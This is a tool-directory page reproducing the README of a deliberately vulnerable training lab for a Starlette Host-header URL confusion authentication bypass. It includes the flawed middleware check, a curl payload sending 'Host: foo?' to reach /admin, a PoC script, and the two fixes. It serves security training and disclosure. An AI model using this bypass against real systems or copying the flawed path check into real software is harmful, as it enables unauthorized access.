Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
starlette-host-header-lab — Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710 | Kitploit
Tools/GitHubGitHub/xtremebeing/starlette-host-header-lab
Vulnerability AnalysisWeb SecurityAuthenticationMisconfigurationLearning & EducationLabs & Practice
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
12 months agoNot yet reviewed

Starlette Host-Header URL Confusion Lab (X41-2026-002)

A self-contained, containerized training lab reproducing the Starlette authentication-bypass vulnerability disclosed by X41 D-Sec.

  • Advisory: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Interpretation Conflict / Untrusted Input in Function Call
  • CVSS: 7.0 (High)
  • Affected: Starlette >= 0.8.3, < 1.0.1 (lab pins 0.37.2)
  • Fixed in: Starlette 1.0.1

⚠️ For authorized security training only. This app is deliberately vulnerable. Do not deploy it on any reachable network.


The vulnerability in one paragraph

Starlette dispatches a request to a route using the raw ASGI scope["path"], but it reconstructs request.url by string-formatting the client-supplied Host header into "{scheme}://{host}{path}" — without validating the Host header against RFC 9112 §3.2. Because URL metacharacters (?, /, #) are allowed straight through, an attacker can make the reconstructed path differ from the routed path. Any security check written against request.url.path can then be tricked while the router still reaches the protected handler.

Why the PoC works

The vulnerable middleware allows the request only when request.url.path is / or empty:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # allowed
return PlainTextResponse("Forbidden", status_code=403)

Send Host: foo? against GET /admin:

ComponentValue used
Router (scope["path"]) → dispatches

The ? turns everything after it into the query string, so the parsed path is empty. Auth sees an empty path and waves it through; the router still serves /admin. Bypass achieved.


Running the lab

Requires Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Two services start:

ServiceURLBehaviour
vulnerablehttp://localhost:8000bypassable
fixedhttp://localhost:8001mitigated (two ways)

Exploit it

root@kitploit:~
# Blocked normally:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Bypass via Host header injection:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

Or run the guided PoC script:

root@kitploit:~
./exploit/exploit.sh        # attacks :8000 (succeeds)
./exploit/exploit.sh 8001   # attacks :8001 (fails — fixed)

The vulnerable /admin handler returns a JSON body that makes the confusion visible — note how scope_path and reconstructed_path disagree:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

How it's fixed

See fixed/fixed_app.py. Two independent mitigations:

  1. Use the authoritative value. Make the auth decision on request.scope["path"] — the same raw path the router uses — instead of the reconstructed request.url.path.
  2. Defense in depth. TrustedHostMiddleware rejects unexpected/malformed Host headers before any application logic runs, mirroring what an RFC-compliant reverse proxy (nginx/Apache) does upstream.

The real-world fix is simply upgrade to Starlette ≥ 1.0.1, which validates the Host header during URL reconstruction.


Discussion prompts for engineers

  1. Where else in a typical stack is a value reconstructed from untrusted input and then trusted? (Hint: SSRF allow-lists, OAuth redirect_uri, cache keys, password-reset links built from Host.)
  2. Why is "block the bad path" (/admin) more fragile here than "decide on the routed endpoint"? What if routing is case-insensitive or has trailing-slash redirects?
  3. This is CWE-436 (interpretation conflict). What other famous bugs share this shape? (HTTP request smuggling, Unicode normalization auth bypass, the 0.0.0.0-day.)

Files

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # the deliberately vulnerable service
├── fixed/fixed_app.py      # mitigated service for comparison
├── exploit/exploit.sh      # guided proof-of-concept
├── requirements.txt        # pins Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
Download Tool
/admin
admin()
request.urlhttp://foo?/admin
request.url.path"" → passes the auth check ✅